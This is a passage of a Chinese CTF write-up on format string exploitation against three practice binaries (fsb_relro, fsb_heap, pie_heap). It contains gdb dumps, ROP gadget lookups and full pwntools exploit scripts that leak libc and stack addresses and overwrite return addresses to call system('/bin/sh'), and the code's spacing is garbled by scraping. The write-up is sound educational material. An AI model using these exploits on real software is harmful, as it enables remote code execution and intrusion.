从五个例子来理解格式化字符串漏洞(二)
fsb_relro
checksec 看一下开了的保护
1 2 3 4 5 6 7 root@kali :~/Desktop/release [*] '/root/Desktop/release/fsb_relro' Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000 )
然后IDA载入看一下:
发现有for循环执行echo函数,但是从这道题开的保护来看,我们可以知道这道题与上一道题的不同点在于开了RELRO保护,意味着我们不能通过改写got表来进行跳转到system函数执行了,同时这道题也是没有getshell函数,也是有一个明显的格式化字符串漏洞可以利用。
这道题思想不难,主要是找偏移,逐个点逐个点地去找。
这个是泄露出栈的地址(0x7ffc63887030
)的时候,查看栈的情况:
怎样泄漏的呢?就是在泄露__libc_start_main
的时候,在他的前面找了一个echo函数的ebp,因为这个地址肯定在栈上,后面就直接用该值和其他栈上的偏移量来表示其他栈上的地址就ok了。下面ret要改写的地址就是用这个方法来得到的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 gdb -peda$ x /30 xg 0 x7 ffc63887030 0x7ffc63887030 : 0 x00000000004009 a0 0 x00007 feffb4202 e1 0x7ffc63887040 : 0 x0000000000040000 0 x00007 ffc63887118 0x7ffc63887050 : 0 x00000001 fb5612 a8 0 x000000000040094 f0x7ffc63887060 : 0 x0000000000000000 0 xe7 ba5 c95187 a5 db9 0x7ffc63887070 : 0 x00000000004006 f0 0 x00007 ffc63887110 0x7ffc63887080 : 0 x0000000000000000 0 x0000000000000000 0x7ffc63887090 : 0 x18429 b05 ebba5 db9 0 x1865 aa910 e085 db9 0x7ffc638870a0 : 0 x0000000000000000 0 x0000000000000000 0x7ffc638870b0 : 0 x0000000000000000 0 x00007 ffc63887128 0x7ffc638870c0 : 0 x00007 feffb9 c2170 0 x00007 feffb7 ac9 ab0x7ffc638870d0 : 0 x0000000000000000 0 x0000000000000000 0x7ffc638870e0 : 0 x00000000004006 f0 0 x00007 ffc63887110 0x7ffc638870f0 : 0 x0000000000000000 0 x0000000000400719 0x7ffc63887100 : 0 x00007 ffc63887108 0 x000000000000001 c0x7ffc63887110 : 0 x0000000000000001 0 x00007 ffc63887411
在echo的返回地址那里下一个断点,因为要修改返回地址。从返回地址开始修改,依次修改为pop rdi;ret
的地址、/bin/sh\x00
的地址和system的地址就可以getshell了。
下好断点之后,就c继续执行停到相应位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [-------------------------------------code-------------------------------------] 0x400860 <echo+122 >: je 0x400867 <echo+129 > 0x400862 <echo+124 >: call 0x400698 0x400867 <echo+129 >: leave => 0x400868 <echo+130 >: ret 0x400869 <timeout>: push rbp 0x40086a <timeout+1 >: mov rbp,rsp 0x40086d <timeout+4 >: mov edi,0x400a40 0x400872 <timeout+9 >: call 0x400690 [------------------------------------stack-------------------------------------] 0000 | 0x7ffd79d4fba8 --> 0x400982 (<main+51 >: add DWORD PTR [rbp-0x4 ],0x1 )0008 | 0x7ffd79d4fbb0 --> 0x7ffd79d4fcb8 --> 0x7ffd79d50411 ("fsb_relro" )0016 | 0x7ffd79d4fbb8 --> 0x1004006f0 0024 | 0x7ffd79d4fbc0 --> 0x7ffd79d4fcb0 --> 0x1 0032 | 0x7ffd79d4fbc8 --> 0x0 0040 | 0x7ffd79d4fbd0 --> 0x4009a0 (<__libc_csu_init>: push r15)0048 | 0x7ffd79d4fbd8 --> 0x7fbeaa69e2e1 (<__libc_start_main+241 >: mov edi,eax)0056 | 0x7ffd79d4fbe0 --> 0x40000 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1 , 0x0000000000400868 in echo ()
当前rsp的情况:
相应的情况如上,所以我们明确地看到程序已经运行到echo的返回地址上了,可以看到原来栈上的栈顶指针是指向0x400982
(echo的返回地址,在main函数的地址),因此我们需要把栈上的栈顶指针改为指向一个pop rdi;ret
这个gadget上,然后再给rdi赋值为/bin/sh\x00
(栈顶指针+8),最后把system放到这个gadget的ret(栈顶指针+16)上就可以了。
并且两个值计算可以得到相差0x28
1 2 >> > hex(0x7ffd79d4fba8 -0x7ffd79d4fbd0 )'-0x28'
查找gadget :ROPgadget --binary fsb_relro --only "pop|ret"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 root@kali: ~/Desktop/release# ROPgadget --binary fsb_relro --only "pop|ret" Gadgets information ============================================================ 0x00000000004009fc : pop r12 0x00000000004009fe : pop r13 0x0000000000400a00 : pop r14 0x0000000000400a02 : pop r15 0x00000000004009fb : pop rbp 0x00000000004009ff : pop rbp 0x0000000000400750 : pop rbp 0x0000000000400a03 : pop rdi 0x0000000000400a01 : pop rsi 0x00000000004009fd : pop rsp 0x0000000000400679 : ret Unique gadgets found: 11
查找/bin/sh(因为用的是本地库,所以我就直接把本地库cp出来直接找了,但是如果是远程库,那就另当别论了)
1 2 3 4 root@kali:~/libc-database# ROPgadget --binary libc-2.24.so --string "/bin/sh" Strings information ============================================================ 0x00000000001619b9 : /bin/sh
然后后面依次改地址的方法跟前面几个题目都是一样的,就不多说了。
上脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import *p = process('fsb_relro') #env = {'LD_PRELOAD':'./libc.so.6 '}def s_sub(a,b): if a<b: return 0 x10000 + a - b return a - b payload = "" payload += "%78$p.%79$p.%72$p." pause ()p .recv()p .sendline(payload)p .recvuntil("." )libc_start_main_ret = int(p.recvuntil("." ,drop = True),16 )log .info("libc_start_main_ret addr: " + hex(libc_start_main_ret))stack_addr = int(p.recvuntil("." ,drop = True),16 )log .info("stack_addr addr: " + hex(stack_addr))pause ()libc_base = libc_start_main_ret - 0 x202 e1 system_addr = libc_base + 0 x3 f480 printf_addr = libc_base + 0 x4 f190 sh_addr = libc_base + 0 x1619 b9 log .info("system_addr addr: " + hex(system_addr))log .info("printf_addr addr: " + hex(printf_addr))log .info("sh_addr addr: " + hex(sh_addr))pr_addr = 0 x400 a03 n = 6 + 14 pattern = "%{}c%{}$hn" payload = "" payload += pattern.format(0 x0 a03 ,n)sh_low = sh_addr & 0 xffffsh_mid = (sh_addr >> 16 ) & 0 xffffsh_high = (sh_addr >> 32 ) & 0 xffffpayload += pattern.format(s_sub(sh_low,0 x0 a03 ),n+1 )payload += pattern.format(s_sub(sh_mid,sh_low),n+2 )payload += pattern.format(s_sub(sh_high,sh_mid),n+3 )system_low = system_addr & 0 xffffsystem_mid = (system_addr >> 16 ) & 0 xffffsystem_high = (system_addr >> 32 ) & 0 xffffpayload += pattern.format(s_sub(system_low,sh_high),n+4 )payload += pattern.format(s_sub(system_mid,system_low),n+5 )payload += pattern.format(s_sub(system_high,system_mid),n+6 )payload = payload.ljust(112 ,"A" ) #7 *16 =112 payload += p64 (stack_addr-0 x28 )payload += p64 (stack_addr-0 x28 +8 )payload += p64 (stack_addr-0 x28 +10 )payload += p64 (stack_addr-0 x28 +12 )payload +=p64 (stack_addr-0 x28 +16 )payload +=p64 (stack_addr-0 x28 +18 )payload +=p64 (stack_addr-0 x28 +20 )pause ()p .sendline(payload)p .interactive()
fsb_heap
源码放上来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <signal.h> void echo () { int size = 0x200 ; char *buf = malloc (size ); memset (buf, 0 , size ); fgets(buf, size , stdin ); printf (buf); puts ("\nain't it cool, bye now" ); } void timeout () { puts ("Time is up" ); exit (1 ); } void welcome () { setvbuf(stdin , 0L L, 2 , 0L L); setvbuf(stdout , 0L L, 2 , 0L L); char welcome[] = "================================================\n" "Welcome to the super echo-mon-better system, it \n" "will echo anything you said, like:\n\n" "Melody: I wanna a flag, mom\n" "Mom: I wanna a flag, mom\n" "================================================\n" ; puts (welcome); signal(SIGALRM, timeout); alarm(5 ); } void echo_mon_better () { int i = 0 ; for (i = 0 ; i < 100 ; ++i) { echo(); } return 0 ; } int main (int argc, char const *argv[]) { welcome(); echo_mon_better(); return 0 ; }
这道题的主要思路是利用RBP链来作为跳板修改echo_mon_better
的返回地址为pop rdi;ret
的地址,然后依次往后布置为/bin/sh
的地址和system的地址,最后循环够一百次退出echo_mon_better
函数的时候就可以getshell了。
挖坑填坑历程(纯粹记录,没兴趣完全可以跳过):
(找到这个思路的过程可谓艰辛,先是误以为在直接在栈上放一段POR,但是发现栈上根本无法执行(NX保护),然后就想改got表,但发现要改的地址不在栈上,利用RBP链跳板是做不到的,所以还有可以控PC的就剩下改返回地址了,那问题来了,是改echo的返回地址呢还是改他的上层函数echo_mon_better
的返回地址呢?我先是试了后者,但是发现这个与泄露出来的栈上的地址的偏移量非常大,随后验证了一下这个偏移量发现是不正确的,所以就放弃了,然后就去修改echo的返回地址,然后发现一改返回地址,就会跳到那个地址去执行了都还没等我布置好后面两个参数,后来想了个办法,就是先布置好后面两个参数(/bin/sh和system地址)再改ret为pop rdi;ret的地址,最后怎样试都不行,最后发现我这样一改,把上层函数的Canary给改掉了,立刻报错没让我改ret了;最后再去验证一次echo_mon_better
的返回地址的时候发现偏移也就只有8,之前算错了,要改的东西就在隔壁啊。。以后一定有思路一定要算多几次才行!!!)
下面开始进入正题:
这道题最大的不同就是我们输入的参数是放在堆上的,那么我们的栈就变得不可控了,我们输入的参数是放在栈上的一个地址里面的,如下面例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 gdb -peda$ x /30 xg $rsp0x7fffffffdfa0 : 0 x000002003 d3 d3 d3 d 0 x0000000000602010 0x7fffffffdfb0 : 0 x00007 fffffffdfd0 0 x00000000004009 bb0x7fffffffdfc0 : 0 x0000000000000000 0 x00000000939 ab900 0x7fffffffdfd0 : 0 x00007 fffffffdff0 0 x00000000004009 eb0x7fffffffdfe0 : 0 x00007 fffffffe0 d8 0 x0000000100000000 0x7fffffffdff0 : 0 x0000000000400 a00 0 x00007 ffff7 a5 c2 e1 0x7fffffffe000 : 0 x0000000000000000 0 x00007 fffffffe0 d8 0x7fffffffe010 : 0 x0000000100000000 0 x00000000004009 c8 0x7fffffffe020 : 0 x0000000000000000 0 x1017 cfbb8 f0 a6 e51 0x7fffffffe030 : 0 x0000000000400750 0 x00007 fffffffe0 d0 0x7fffffffe040 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffe050 : 0 xefe830 c45 b0 a6 e51 0 xefe820701 e386 e51 0x7fffffffe060 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffe070 : 0 x0000000000000000 0 x0000000000000001 0x7fffffffe080 : 0 x00000000004009 c8 0 x0000000000400 a70 gdb -peda$ x 0 x0000000000602010 0x602010 : 0 x4141414141414141 gdb -peda$
上面可以看到我们的栈的情况变得跟以前不一样了,那我们要怎样利用格式化字符串来构成一个任意地址写的功能呢?这里我们需要知道一个知识点—RBP链(其实就是一个三连跳):
怎样利用这个RBP链来构成一个跳板来执行栈上任意地址写呢?首先我们知道格式化字符串的%n是把一个值写到一个指针所指向的地址上去。正是如此我们才不能直接往栈上写,因为我们不能确保第几个参数上的那个指针是否是一个有效指针。所以我们需要用到跳板。这个RBP链的跳板主要是通过修改0x00007fffffffdfd0
这个指针所指向的0x00007fffffffdff0
这个值的后四位,让其仍然是一个栈上的地址;然后再修改0x00007fffffffdff0(这个表示上一步修改后的值)
所指向的地址,就可以实现修改栈上任意地址的值了。
这里提醒一点就是泄露地址:用前面的方法泄露,易得0x00007fffffffdfd0
是第八个参数__libc_start_main
是第十七个参数等。
首先跟前面的题目一样,泄露出libc的基地址和system地址、/bin/sh
的地址;最后再找到一个pop rdi;ret
的gadget,准备工作就做完了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 root@kali: ~/Desktop/release# ROPgadget --binary fsb_heap --only "pop|ret" Gadgets information ============================================================ 0x0000000000400a5c : pop r12 0x0000000000400a5e : pop r13 0x0000000000400a60 : pop r14 0x0000000000400a62 : pop r15 0x0000000000400a5b : pop rbp 0x0000000000400a5f : pop rbp 0x00000000004007b0 : pop rbp 0x0000000000400a63 : pop rdi 0x0000000000400a61 : pop rsi 0x0000000000400a5d : pop rsp 0x0000000000400679 : ret Unique gadgets found: 11
找system地址跟上面的题目方法一样,直接p system 然后xinfo看一下偏移量。
找/bin/sh\x00
1 2 3 4 5 6 7 8 9 10 11 12 13 gdb -peda$ find "/bin/sh" Searching for '/bin/sh' in: None rangesFound 1 results, display max 1 items:libc : 0 x7 fcaf43 ce9 b9 --> 0 x68732 f6 e69622 f ('/bin/sh')gdb -peda$ xinfo 0 x7 fcaf43 ce9 b9 0x7fcaf43ce9b9 --> 0 x68732 f6 e69622 f ('/bin/sh')Virtual memory mapping:Start : 0 x00007 fcaf426 d000 End : 0 x00007 fcaf4400000 Offset : 0 x1619 b9 Perm : r-xpName : /lib/x86 _64 -linux-gnu/libc-2 .24 .sogdb -peda$
详细脚本如下:
上脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 from pwn import *p = process('fsb_heap' ) elf = ELF('fsb_heap' ) def s_sub (a,b ): if a<b: return 0x10000 + a - b return a - b payload = "" payload += "%7$p.%8$p.%17$p.%12$p." p.recv() p.sendline(payload) p.recvuntil("." ) stack_addr1 = int(p.recvuntil("." ,drop = True ),16 ) log.info("stack_addr1 addr: " + hex(stack_addr1)) libc_start_main_ret = int(p.recvuntil("." ,drop = True ),16 ) log.info("libc_start_main_ret addr: " + hex(libc_start_main_ret)) stack_addr2 = int(p.recvuntil("." ,drop = True ),16 ) log.info("stack_addr2 addr: " + hex(stack_addr2)) libc_base = libc_start_main_ret - 0x202e1 system_addr = libc_base + 0x3f480 sh_addr = libc_base + 0x1619b9 log.info("libc_base addr: " + hex(libc_base)) log.info("system_addr addr: " + hex(system_addr)) log.info("sh_addr addr: " + hex(sh_addr)) echo_better_ret = stack_addr1 + 0x34f0cd4b8 echo_ret = stack_addr1 + 0x18 ''' ##############test############ for i in range(0,98) : p.sendline('wait') pause() p.sendline('wait') p.interactive() #############test############## ''' pr_addr = 0x400a63 def edit1 (low ): pattern = "%{}c%{}$hn" payload = "" payload += pattern.format(low,8 ) payload = payload.ljust(16 ,"A" ) p.sendline(payload) def edit2 (data ): pattern = "%{}c%{}$hn" payload = "" payload += pattern.format(data,12 ) payload = payload.ljust(16 ,"B" ) p.sendline(payload) n = 16 + 14 pattern = "%{}c%{}$hn" stack_addr2_low = stack_addr2 & 0xffff a = stack_addr2_low -0x38 print hex(stack_addr2_low)edit1(stack_addr2_low - 24 ) edit2(0x0a63 ) sh_low = sh_addr & 0xffff sh_mid = (sh_addr >> 16 ) & 0xffff sh_high = (sh_addr >> 32 ) & 0xffff print hex(sh_low)print hex(stack_addr2_low -16 )edit1(stack_addr2_low - 16 ) edit2(sh_low) edit1(stack_addr2_low - 14 ) edit2(sh_mid) edit1(stack_addr2_low - 12 ) edit2(sh_high) system_low = system_addr & 0xffff system_mid = (system_addr >> 16 ) & 0xffff system_high = (system_addr >> 32 ) & 0xffff edit1(stack_addr2_low -8 ) edit2(system_low) edit1(stack_addr2_low -6 ) edit2(system_mid) edit1(stack_addr2_low -4 ) edit2(system_high) for i in range(0 ,84 ) : p.sendline('wait' ) ''' pattern = "%{}c%{}$hn" payload1 = "" payload1 += pattern.format(a,8) payload1 = payload1.ljust(16,"A") pause() p.sendline(payload1) pattern = "%{}c%{}$hn" payload2 = "" payload2 += pattern.format(0x0a63,12) payload2 = payload2.ljust(16,"B") pause() p.sendline(payload2) ''' pause() p.interactive()
pie_heap
加了pie之后其实也没有什么区别,就是要多泄露一个PIE地址来找偏移,再把动态加载之后的真正的gadget地址找出来就行了,相对于没PIE其实有格式化字符串就是多了一步泄露pie地址然后计算偏移量计算就ok。
提醒:这个还有个如何把一串0x0000写入内存,因为%0c是有一个字符的,所以这样写是不正确的,我们可以这样:"%{}ca%{}$hn",再往里写0xffff个字符然后他就会写入0x10000,高位去除就剩下0x0000了
上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 from pwn import * p = process('pie_heap' ) elf = ELF('pie_heap' ) def s_sub(a,b): if a<b: return 0x10000 + a - b return a - b payload = "" payload += "%7$p.%8$p.%17$p.%12$p.%13$p." p.recv() p.sendline(payload) p.recvuntil("." ) stack_addr1 = int (p.recvuntil("." ,drop = True),16 ) log.info("stack_addr1 addr: " + hex (stack_addr1)) libc_start_main_ret = int (p.recvuntil("." ,drop = True),16 ) log.info("libc_start_main_ret addr: " + hex (libc_start_main_ret)) stack_addr2 = int (p.recvuntil("." ,drop = True),16 ) log.info("stack_addr2 addr: " + hex (stack_addr2)) pie_addr = int (p.recvuntil("." ,drop = True),16 ) log.info("pie_addr addr: " + hex (pie_addr)) libc_base = libc_start_main_ret - 0x202e1 system_addr = libc_base + 0x3f480 sh_addr = libc_base + 0x1619b9 log.info("libc_base addr: " + hex (libc_base)) log.info("system_addr addr: " + hex (system_addr)) log.info("sh_addr addr: " + hex (sh_addr)) log.info("ret_addr addr: " + hex (stack_addr2 + 8 )) echo_better_ret = pie_addr - 36 printf_addr = pie_addr - 338 log.info("printf_addr addr: " + hex (printf_addr)) log.info("echo_better_ret addr: " + hex (echo_better_ret)) echo_ret = stack_addr1 + 0x18 pr_addr = pie_addr + 0x6c log.info("pr_addr addr: " + hex (pr_addr + 8 )) pause() '' ' ##############test############ for i in range(0,99) : p.sendline(' wait ') pause() p.sendline(' wait ') p.interactive() #############test############## ' '' def edit1(low): pattern = "%{}c%{}$hn" payload = "" payload += pattern.format(low,8 ) payload = payload.ljust(16 ,"A" ) p.sendline(payload) def edit2(data): pattern = "%{}c%{}$hn" payload = "" payload += pattern.format(data,12 ) payload = payload.ljust(16 ,"B" ) p.sendline(payload) n = 16 + 14 pattern = "%{}c%{}$hn" stack_addr2_low = stack_addr2 & 0xffff a = stack_addr2_low -0x38 print hex (stack_addr2_low)pr_low = pr_addr & 0xffff pr_mid = (pr_addr >> 16 ) & 0xffff pr_high = (pr_addr >> 32 ) & 0xffff edit1(stack_addr2_low - 24 ) edit2(pr_low) edit1(stack_addr2_low - 22 ) edit2(pr_mid) edit1(stack_addr2_low - 20 ) edit2(pr_high) sh_low = sh_addr & 0xffff sh_mid = (sh_addr >> 16 ) & 0xffff sh_high = (sh_addr >> 32 ) & 0xffff print hex (sh_low)print hex (stack_addr2_low -16 )edit1(stack_addr2_low - 16 ) edit2(sh_low) edit1(stack_addr2_low - 14 ) edit2(sh_mid) edit1(stack_addr2_low - 12 ) edit2(sh_high) system_low = system_addr & 0xffff system_mid = (system_addr >> 16 ) & 0xffff system_high = (system_addr >> 32 ) & 0xffff edit1(stack_addr2_low -8 ) edit2(system_low) edit1(stack_addr2_low -6 ) edit2(system_mid) edit1(stack_addr2_low -4 ) edit2(system_high) for i in range(0 ,80 ) : p.sendline('wait' ) pause() p.interactive()